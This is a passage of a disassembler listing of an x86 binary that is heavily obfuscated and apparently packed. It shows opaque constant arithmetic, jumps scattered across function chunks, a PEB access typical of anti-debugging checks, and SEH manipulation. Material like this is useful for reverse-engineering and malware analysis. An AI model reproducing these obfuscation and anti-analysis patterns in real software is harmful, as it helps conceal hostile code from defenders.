		jmp	loc_406879
; END OF FUNCTION CHUNK	FOR sub_40ACF2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4089C5	proc near		; CODE XREF: sub_40966E-2B6Cp
					; sub_4091CD+4p

; FUNCTION CHUNK AT 004051BC SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00405B37 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00405D9C SIZE 00000001 BYTES
; FUNCTION CHUNK AT 0040B1CD SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040D59F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040E564 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0040E8DD SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0040ED05 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040F114 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410EE6 SIZE 0000000B BYTES

		push	ebp
		mov	ebp, esp
		call	sub_40801F


loc_4089CD:				; CODE XREF: sub_40EBBF-5399j
		jmp	loc_40D59F
sub_4089C5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A050


loc_4089D2:				; CODE XREF: sub_40A050+2B02j
		jns	loc_40B24B
		rol	ecx, 0Ch
		jmp	loc_40E19E
; END OF FUNCTION CHUNK	FOR sub_40A050
; ---------------------------------------------------------------------------

locret_4089E0:				; CODE XREF: _837l4vi2:loc_40DF00j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405492


loc_4089E1:				; CODE XREF: sub_405492+A643j
		jmp	loc_40A5F7
; END OF FUNCTION CHUNK	FOR sub_405492
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A050


loc_4089E6:				; CODE XREF: sub_40A050:loc_40B24Bj
		push	ecx
		push	eax
		push	ebx
		xchg	ebx, ecx


loc_4089EB:				; CODE XREF: _837l4vi2:0040CE5Aj
		mov	ecx, ebx


loc_4089ED:				; CODE XREF: _837l4vi2:00407FD0j
		jmp	sub_40D977
; END OF FUNCTION CHUNK	FOR sub_40A050
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_153. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4089F3	proc near		; CODE XREF: _837l4vi2:004053CDj
					; _837l4vi2:0040F10Fp
		xchg	edx, [esp+0]
		pop	edx
		add	eax, ecx
		xor	eax, esi
		add	eax, edi
		add	al, ah
		jmp	loc_40FBD9
sub_4089F3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_408A04:				; DATA XREF: sub_40DF72:loc_407CDDo
		mov	eax, [ebp-8]
		call	sub_40E3C8
; START	OF FUNCTION CHUNK FOR sub_4064E6


loc_408A0C:				; CODE XREF: sub_4078C8+1385j
					; sub_40600B:loc_409A65j ...
		call	sub_40AF01
; END OF FUNCTION CHUNK	FOR sub_4064E6

; =============== S U B	R O U T	I N E =======================================



sub_408A11	proc near		; DATA XREF: sub_40E1CD-E8Do

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0040A75A SIZE 00000015 BYTES

		push	ebp
		mov	ebp, ecx
		xchg	ebp, [esp+4+var_4]
		push	0D418B8B3h
		jmp	loc_40A75A
sub_408A11	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4094E2


loc_408A21:				; CODE XREF: sub_4094E2-3DEBj
					; _837l4vi2:00411065j
		mov	[edx], al
		mov	eax, [ebp-8]
		mov	al, [eax]
		add	[ebp-0Ah], al
		xor	eax, eax
		mov	al, [ebp-0Ah]
		jmp	loc_4100E8
; END OF FUNCTION CHUNK	FOR sub_4094E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B362


loc_408A35:				; CODE XREF: sub_40B362+4j
		call	sub_40B65B


loc_408A3A:				; CODE XREF: sub_4054EA+63E6j
		jmp	sub_405CBC
; END OF FUNCTION CHUNK	FOR sub_40B362
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405AFA


loc_408A3F:				; CODE XREF: sub_405AFA+4C4Ej
		jle	loc_405190
		xchg	edx, ecx


loc_408A47:				; CODE XREF: sub_408D96:loc_40AC0Aj
		push	0
		push	0
		push	10h


loc_408A4D:				; CODE XREF: _837l4vi2:0040C4D0j
		mov	eax, [ebp-8]
		call	sub_4096C0


loc_408A55:				; CODE XREF: sub_40A050-16C1j
		jmp	sub_40B088
; END OF FUNCTION CHUNK	FOR sub_405AFA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_39. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_408A5B:				; CODE XREF: sub_40D735-78C3j
		jmp	loc_40925B
; END OF FUNCTION CHUNK	FOR sub_40D735

; =============== S U B	R O U T	I N E =======================================



sub_408A60	proc near		; CODE XREF: sub_410A92j
					; DATA XREF: sub_40DBC3+2EC5o
		call	sub_40CC4A
		mov	ds:dword_41001C, eax
sub_408A60	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40DEDE


loc_408A6A:				; CODE XREF: sub_409E97+3A3Ej
					; sub_40DEDE-320j ...
		mov	eax, ds:dword_41001C
		call	sub_40B99D
		mov	esp, ebp
		jmp	loc_407D97
; END OF FUNCTION CHUNK	FOR sub_40DEDE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F6F9


loc_408A7B:				; CODE XREF: sub_40F6F9:loc_40AF34j
		mov	dword ptr [ebp-8], 1
; END OF FUNCTION CHUNK	FOR sub_40F6F9
; START	OF FUNCTION CHUNK FOR sub_40E7E1


loc_408A82:				; CODE XREF: sub_40E7E1:loc_40B638j
					; sub_40E7E1-300Ej
		mov	eax, [ebp-8]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_408A89:				; CODE XREF: sub_40E7E1-301Bj
					; sub_40F6F9+10j
		xor	eax, eax
		mov	[ebp-8], eax
		jmp	loc_40B638
; END OF FUNCTION CHUNK	FOR sub_40E7E1

; =============== S U B	R O U T	I N E =======================================



sub_408A93	proc near		; CODE XREF: sub_407FEA+1D1p
					; _837l4vi2:00409CE4j

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00405A52 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00405F5B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00406B48 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00407592 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00409995 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040A648 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040BF79 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0040C3FA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040C983 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040DA53 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DC8A SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0040DFE5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040F548 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00410116 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00410967 SIZE 0000000B BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	232DF76Ch
		pop	eax
		or	eax, 0F1F984Dh
		and	eax, 0DC00C352h
		add	eax, 0F3FF3CC0h
		jmp	loc_40DFE5
sub_408A93	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408055


loc_408AB4:				; CODE XREF: sub_408055+4EE2j
		push	eax
		mov	eax, [ebp-18h]
		add	eax, eax
		cdq
		add	eax, [esp-8+arg_4]
		push	offset sub_40BF59
		jmp	loc_40EA2D
; END OF FUNCTION CHUNK	FOR sub_408055
; ---------------------------------------------------------------------------
		test	ecx, ebp
		jmp	loc_40EBB9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CA5A


loc_408ACF:				; CODE XREF: sub_40CA5A-1404j
		popf
		call	sub_40C32D
; END OF FUNCTION CHUNK	FOR sub_40CA5A
; START	OF FUNCTION CHUNK FOR sub_406C7D


loc_408AD5:				; CODE XREF: sub_406C7D+7FE6j
		jmp	loc_406380
; END OF FUNCTION CHUNK	FOR sub_406C7D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DFF5


loc_408ADA:				; CODE XREF: sub_40DFF5+20j
		pop	ebp
		push	6D5E14DFh
		pop	eax
		xor	eax, 210F41ECh
		jmp	loc_405586
; END OF FUNCTION CHUNK	FOR sub_40DFF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F812


loc_408AEC:				; CODE XREF: sub_40F812:loc_40E938j
					; sub_40F812-E12j
		mov	eax, large fs:30h
		push	offset loc_40E725
		jmp	loc_4076EE
; END OF FUNCTION CHUNK	FOR sub_40F812
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C162


loc_408AFD:				; CODE XREF: sub_40C162:loc_408B2Cj
		push	offset sub_40C5BE
		jmp	nullsub_94
; END OF FUNCTION CHUNK	FOR sub_40C162
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410BD3


loc_408B07:				; CODE XREF: sub_410BD3-4D39j
					; sub_410BD3:loc_40D621j
		pop	large dword ptr	fs:0
		add	esp, 4
		mov	eax, 52h
		call	sub_40D92B
		jmp	loc_40D063
; END OF FUNCTION CHUNK	FOR sub_410BD3
; ---------------------------------------------------------------------------
		jmp	loc_40860C
; ---------------------------------------------------------------------------


loc_408B25:				; CODE XREF: _837l4vi2:0040D6BFj
		cdq
		jmp	loc_40DA41
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_118. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C162


loc_408B2C:				; CODE XREF: sub_40C162-6937j
		jmp	loc_408AFD
; END OF FUNCTION CHUNK	FOR sub_40C162
; ---------------------------------------------------------------------------


loc_408B31:				; CODE XREF: _837l4vi2:loc_40BDB5j
		rol	eax, 19h
		mov	ds:dword_4106A4, eax
		retn
; ---------------------------------------------------------------------------


loc_408B3B:				; CODE XREF: _837l4vi2:0040500Ej
		ror	eax, 19h
		push	offset sub_409147
		jmp	loc_40F1CC

; =============== S U B	R O U T	I N E =======================================



sub_408B48	proc near		; CODE XREF: _837l4vi2:00406A9Ap
					; _837l4vi2:0040D221j
		mov	[esp+0], ebx
		pop	ebx
		add	edx, 0C481D79h
		mov	[edx], eax
		pop	edx
		call	sub_40AAC3
		call	sub_40DBFA


loc_408B5F:				; CODE XREF: sub_40C90B+Fj
		jmp	nullsub_194
sub_408B48	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EE1E


loc_408B64:				; CODE XREF: sub_40EE1E-3AD7j
		jmp	nullsub_140
; END OF FUNCTION CHUNK	FOR sub_40EE1E
; ---------------------------------------------------------------------------


loc_408B69:				; CODE XREF: _837l4vi2:004105C4j
		rol	esi, 19h
		add	esi, 0C5499109h
		xor	esi, 30474AA4h
		add	edx, esi
		pop	esi
		xor	[edx], eax
		mov	edx, [edx]
		push	93662B6Dh
		jmp	loc_40E762
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405950


loc_408B89:				; CODE XREF: sub_405950:loc_40DCECj
		and	eax, 41023343h
		rol	eax, 13h
		xor	eax, 900A0800h
		xor	ebx, ebx
		jmp	loc_40CFB4
; END OF FUNCTION CHUNK	FOR sub_405950

; =============== S U B	R O U T	I N E =======================================



sub_408B9F	proc near		; CODE XREF: _837l4vi2:004059B5j
					; sub_406732:loc_40AC6Ap
		xchg	edx, [esp+0]
		pop	edx
		call	sub_408BA9
		retn
sub_408B9F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_408BA9	proc near		; CODE XREF: sub_40AE2D-394Ej
					; sub_408B9F+4p

arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00407576 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0040B13F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C57B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E3E7 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0040E55A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040E60D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004100A0 SIZE 00000016 BYTES

		call	sub_40861C
		jb	loc_40E55A
		push	ecx
		jmp	loc_40E3E7
sub_408BA9	endp

; ---------------------------------------------------------------------------


loc_408BBA:				; CODE XREF: _837l4vi2:loc_40ABA4j
		push	offset sub_40F1EC
		jmp	loc_409484
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405984


loc_408BC4:				; CODE XREF: sub_405984+17F5j
		jnz	loc_406235
		xor	edi, ebp
		push	ecx
		popf
		adc	ebp, 41A1EE17h


loc_408BD4:				; CODE XREF: _837l4vi2:loc_40ADD8j
		jmp	loc_408918
; END OF FUNCTION CHUNK	FOR sub_405984
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D169


loc_408BD9:				; CODE XREF: sub_40D169:loc_409C46j
		add	edx, 3FB0B4Bh
		popf
		adc	eax, edx
		pop	edx
		rol	edx, 1Bh
		xchg	eax, [esp+0]
		mov	ebx, eax
		pop	eax
		jmp	loc_40626D
; END OF FUNCTION CHUNK	FOR sub_40D169
; ---------------------------------------------------------------------------


loc_408BF1:				; CODE XREF: _837l4vi2:004084F9j
		jns	loc_4058F1
		cdq
		cmp	edi, 8AE46D6Ah
		jmp	loc_40D4B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BF48


loc_408C03:				; CODE XREF: sub_40BF48+3C20j
		sub	esi, edx
		pushf
		jmp	loc_405C04
; END OF FUNCTION CHUNK	FOR sub_40BF48
; ---------------------------------------------------------------------------
		shr	edx, 8
		jmp	sub_40AB03
; ---------------------------------------------------------------------------


loc_408C13:				; DATA XREF: sub_4093C7-1F4Co
		mov	eax, [eax-10h]
		and	eax, 7
		mov	[ebp-14h], eax
		cmp	dword ptr [ebp-10h], 3
		jmp	loc_409788
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A799


loc_408C25:				; CODE XREF: sub_40A799:loc_406591j
		jl	loc_40E025


loc_408C2B:				; CODE XREF: sub_40D169-6EF6j
		jmp	loc_4091AB
; END OF FUNCTION CHUNK	FOR sub_40A799
; ---------------------------------------------------------------------------
		jnz	loc_40B759
		jmp	loc_40E022
; ---------------------------------------------------------------------------
		js	loc_40DBEA
		jmp	sub_40C2F6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_199. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4078C8


loc_408C47:				; CODE XREF: sub_4078C8+46EFj
		mov	eax, [eax]
		cmp	dword ptr [eax+3Ch], 0
		jz	loc_408A0C
		mov	eax, [ebp-4]
		xor	edx, edx
		push	ebp
		jmp	loc_409771
; END OF FUNCTION CHUNK	FOR sub_4078C8
; ---------------------------------------------------------------------------


loc_408C5E:				; CODE XREF: _837l4vi2:004056AFj
		add	edx, 0CDE7451Eh
		xor	edx, 844281D1h
		call	sub_40E739
		call	sub_40B088
		push	0BC5BEAF3h
		pop	edx
		and	edx, 3B1E8A36h
		test	edx, 10000000h
		jmp	loc_410D30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4055B5


loc_408C8B:				; CODE XREF: sub_4055B5:loc_409FD7j
		mov	[ebp-8], edx
		mov	[ebp-4], eax
		xor	eax, eax
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_40F651
		mov	eax, [ebp-4]
		add	eax, 3Ch
		jmp	loc_405ADC
; END OF FUNCTION CHUNK	FOR sub_4055B5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_190. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_408CAC	proc near		; CODE XREF: sub_40989E+8p
					; sub_409D32+B7Bp ...

; FUNCTION CHUNK AT 00406D07 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D529 SIZE 00000009 BYTES

		jz	loc_40E00F
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		jmp	loc_406D07
sub_408CAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_408CBD	proc near		; DATA XREF: sub_40DF4A:loc_409401o
		xchg	ebp, [esp+0]
		retn
sub_408CBD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40882B


loc_408CC1:				; CODE XREF: sub_40882B-32F4j
		jmp	loc_40CCC7
; END OF FUNCTION CHUNK	FOR sub_40882B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C1F0


loc_408CC6:				; CODE XREF: sub_40C1F0-7174j
		jmp	loc_4082D2
; END OF FUNCTION CHUNK	FOR sub_40C1F0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4077E6


loc_408CCC:				; CODE XREF: sub_4077E6+E21j
		jmp	loc_4071FF
; END OF FUNCTION CHUNK	FOR sub_4077E6

; =============== S U B	R O U T	I N E =======================================



sub_408CD1	proc near		; CODE XREF: sub_4104E3-2DBFp

; FUNCTION CHUNK AT 004084A0 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0040C6D8 SIZE 0000002C BYTES

		call	sub_407F11


loc_408CD6:				; CODE XREF: sub_40960E-7DBj
		jmp	loc_4084A0
sub_408CD1	endp

; ---------------------------------------------------------------------------


loc_408CDB:				; CODE XREF: _837l4vi2:0040745Bj
		jmp	loc_40CD16
; ---------------------------------------------------------------------------


loc_408CE0:				; DATA XREF: sub_40B601:loc_40C743o
		push	ecx
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_406510
		or	eax, eax
		jmp	loc_4080EE
; ---------------------------------------------------------------------------


loc_408CF1:				; CODE XREF: _837l4vi2:00408EF5j
					; _837l4vi2:loc_40F945j
		push	edx
		push	0E0AF7F97h
		pop	edx
		xor	edx, 19503792h
		jmp	loc_40F2CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_408D03:				; CODE XREF: sub_406C7D-16DAj
					; sub_40D735:loc_4097BEj
		lea	eax, [ebp-26Fh]
		cmp	dword ptr [eax], 47424454h
		jz	loc_409F1E
		jmp	loc_410D36
; ---------------------------------------------------------------------------


loc_408D1A:				; CODE XREF: sub_40D735:loc_4063FBj
		cmp	dword ptr [ebp-4], 6
		jnz	loc_40838B
		jmp	loc_4051D3
; END OF FUNCTION CHUNK	FOR sub_40D735
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_65. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C1F0


loc_408D2A:				; CODE XREF: sub_40C1F0-2A21j
		jmp	loc_410D85
; END OF FUNCTION CHUNK	FOR sub_40C1F0

; =============== S U B	R O U T	I N E =======================================



sub_408D2F	proc near		; CODE XREF: sub_40A34C-4571p
					; _837l4vi2:0040A7D2j

; FUNCTION CHUNK AT 00405AC9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C554 SIZE 00000007 BYTES

		mov	[esp+0], edx
		pop	edx
		call	sub_40E739
		push	eax
		rol	eax, 12h
		jmp	loc_405AC9
sub_408D2F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D977


loc_408D41:				; CODE XREF: sub_40D977:loc_40FFA7j
		add	eax, 0C0EDAB1Fh
		xor	eax, 25F55709h
		cmp	ebx, eax
		xchg	edx, [esp-4+arg_0]
		jmp	loc_4059AE
; END OF FUNCTION CHUNK	FOR sub_40D977
; ---------------------------------------------------------------------------


loc_408D57:				; CODE XREF: _837l4vi2:004101DBj
		push	0DD40713Bh
		pop	ebx
		add	ebx, 0DA9655D9h
		rol	ebx, 8
		add	ebx, 2979726Ah
		xchg	ebx, [esp]
		jmp	sub_40E739
; ---------------------------------------------------------------------------


loc_408D74:				; DATA XREF: sub_40DC3E:loc_40F30Fo
		call	sub_40B088
		mov	edx, 0B242B436h
		call	sub_40E739
		push	eax
		rol	eax, 19h
		mov	ds:dword_40B628, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DC3E


loc_408D8E:				; CODE XREF: sub_40DC3E-6688j
		ror	eax, 19h
		jmp	loc_407971
; END OF FUNCTION CHUNK	FOR sub_40DC3E

; =============== S U B	R O U T	I N E =======================================



sub_408D96	proc near		; CODE XREF: sub_409D32+B83p
					; _837l4vi2:0040BF9Ej

; FUNCTION CHUNK AT 0040A149 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040AC0A SIZE 0000000B BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		cmp	dword ptr [ebp-8], 0
		jz	loc_4052EE
		jmp	loc_40A149
sub_408D96	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405F9E


loc_408DA9:				; CODE XREF: sub_41045F:loc_4085B3j
					; sub_405F9E:loc_40F9AEj
		pop	edx
		pop	ebp
		jmp	loc_410A34
; END OF FUNCTION CHUNK	FOR sub_405F9E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D977


loc_408DB0:				; CODE XREF: sub_40D977:loc_40A425j
		push	eax
		push	0E3C0B733h
		pop	eax
		jmp	loc_40FFA7
; END OF FUNCTION CHUNK	FOR sub_40D977
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405BB4


loc_408DBC:				; CODE XREF: sub_405BB4:loc_408EBEj
		mov	eax, [ebp+8]
		push	eax
		cmp	dword ptr [ebp-14h], 6
		setz	al
		call	sub_40E7E1
		pop	ecx
		shl	eax, 3
		jmp	loc_40C114
; END OF FUNCTION CHUNK	FOR sub_405BB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406C3E


loc_408DD5:				; CODE XREF: sub_406C3E:loc_405718j
		jz	loc_410E9A


loc_408DDB:				; CODE XREF: sub_405BB4+9D35j
		jmp	loc_4088EB
; END OF FUNCTION CHUNK	FOR sub_406C3E
; ---------------------------------------------------------------------------
		shr	ebp, 19h
		jmp	loc_40C4BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4061E8


loc_408DE8:				; CODE XREF: sub_4061E8+5253j
		jnp	loc_40A5B8


loc_408DEE:				; CODE XREF: sub_4061E8:loc_40BE14j
		add	eax, edx
		push	offset loc_40DD79
		jmp	loc_405260
; END OF FUNCTION CHUNK	FOR sub_4061E8
; ---------------------------------------------------------------------------


loc_408DFA:				; CODE XREF: _837l4vi2:0040F4C6j
		ja	loc_4108A7
		jmp	loc_40FED0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40ABCA


loc_408E05:				; CODE XREF: sub_40ABCA:loc_40C92Fj
		push	0C7ACAECDh
		pop	eax
		and	eax, 76734D4Eh
		add	eax, 0BA209133h
		xchg	eax, [esp+4+var_4]
		jmp	sub_40B99D
; END OF FUNCTION CHUNK	FOR sub_40ABCA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_71. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40960E


loc_408E20:				; CODE XREF: sub_40960E:loc_40AA73j
		push	edx
		push	8A078A7Ah
		pop	edx
		sub	edx, 0D690272h
		cmp	edx, 0AD225B7Ch
		jmp	loc_408CD6
; END OF FUNCTION CHUNK	FOR sub_40960E
; ---------------------------------------------------------------------------


loc_408E38:				; CODE XREF: _837l4vi2:loc_410C83j
		cmp	ebx, edx
		pop	edx
		jno	loc_40F465
		call	sub_40845E
; START	OF FUNCTION CHUNK FOR sub_407FEA


loc_408E46:				; CODE XREF: sub_407FEA+19j
					; _837l4vi2:0040B1A8j
		jmp	loc_40EF8F
; END OF FUNCTION CHUNK	FOR sub_407FEA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_25. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4065B8


loc_408E4C:				; CODE XREF: sub_4065B8+A487j
		jmp	loc_40A8BA
; END OF FUNCTION CHUNK	FOR sub_4065B8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_180. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4078C8


loc_408E52:				; CODE XREF: sub_4078C8:loc_4065A4j
		jge	loc_40E5F8


loc_408E58:				; CODE XREF: _837l4vi2:0040EC7Cj
		jmp	loc_408667
; END OF FUNCTION CHUNK	FOR sub_4078C8
; ---------------------------------------------------------------------------
		mov	ebx, [esi]
		cdq
		jbe	loc_406330
		xchg	ebp, [edi]
		jmp	loc_40FEE9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E4F1


loc_408E6D:				; CODE XREF: sub_40E4F1-3E82j
		mov	[esp+4+var_4], eax
		push	edx
		push	7DF4FDF5h
		pop	edx
		or	edx, 6A3C0C00h
		add	edx, 8043A622h
		xchg	edx, [esp+8+var_8]
		jmp	loc_40502E
; END OF FUNCTION CHUNK	FOR sub_40E4F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407AA4


loc_408E8B:				; CODE XREF: sub_407AA4:loc_40A78Fj
		xor	eax, eax
		mov	ds:dword_406B54, eax
		jmp	loc_40F0B6
; END OF FUNCTION CHUNK	FOR sub_407AA4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408E97	proc near		; CODE XREF: sub_407AA4j
		push	ebp
		mov	ebp, esp
		push	offset sub_410241


loc_408E9F:				; CODE XREF: _837l4vi2:0040F356j
		jmp	nullsub_19
sub_408E97	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_408EA4	proc near		; CODE XREF: sub_40A2D5:loc_40BEAAj
		retn
sub_408EA4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E4F1


loc_408EA5:				; CODE XREF: sub_40E4F1+12j
		jmp	loc_405BDA
; END OF FUNCTION CHUNK	FOR sub_40E4F1

; =============== S U B	R O U T	I N E =======================================



sub_408EAA	proc near		; DATA XREF: _837l4vi2:00409067o

; FUNCTION CHUNK AT 0040BF3D SIZE 0000000B BYTES

		cmp	dword ptr [ebp-8], 0
		jbe	loc_40BF3D
		mov	eax, [ebp-4]
		xor	edx, edx
		call	sub_40CC33
sub_408EAA	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_405BB4


loc_408EBE:				; CODE XREF: sub_405BB4+8D07j
		jmp	loc_408DBC
; END OF FUNCTION CHUNK	FOR sub_405BB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BF19


loc_408EC3:				; CODE XREF: sub_40BF19+9j
		jmp	loc_40B242
; END OF FUNCTION CHUNK	FOR sub_40BF19
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40966E


loc_408EC8:				; CODE XREF: sub_40966E+1A46j
		jmp	loc_40CC94
; END OF FUNCTION CHUNK	FOR sub_40966E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405CBC


loc_408ECD:				; CODE XREF: sub_405CBC:loc_40E608j
		jz	loc_40B974
		jmp	loc_40933A
; END OF FUNCTION CHUNK	FOR sub_405CBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405F85


loc_408ED8:				; CODE XREF: sub_405F85+14j
		and	eax, edi
		pushf


loc_408EDB:				; CODE XREF: _837l4vi2:loc_41043Fj
		xor	edx, 755C2953h
		push	offset sub_40B11D
		jmp	nullsub_129
; END OF FUNCTION CHUNK	FOR sub_405F85
; ---------------------------------------------------------------------------


loc_408EEB:				; CODE XREF: _837l4vi2:loc_40ACB2j
		ror	ebx, 19h
		adc	edi, ebp
		mov	esi, 9294AE30h
		jmp	loc_408CF1
; ---------------------------------------------------------------------------
		push	edi
		push	558E6233h
		pop	edi
		add	edi, 0CEE368D9h
		add	edi, ebp
		add	edi, 0DB8E34F0h
		mov	[edi], eax
		jmp	loc_40C4E3
; ---------------------------------------------------------------------------


loc_408F16:				; CODE XREF: _837l4vi2:0040A8CDj
		mov	esi, 0FF47BEBBh

; =============== S U B	R O U T	I N E =======================================



sub_408F1B	proc near		; CODE XREF: sub_40A7F9+3p

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00405342 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004076E3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004080E9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004081D0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040910B SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00409ABA SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0040C0E1 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0040DD56 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00410D48 SIZE 0000000B BYTES

		mov	[esp+0], edi
		pop	edi
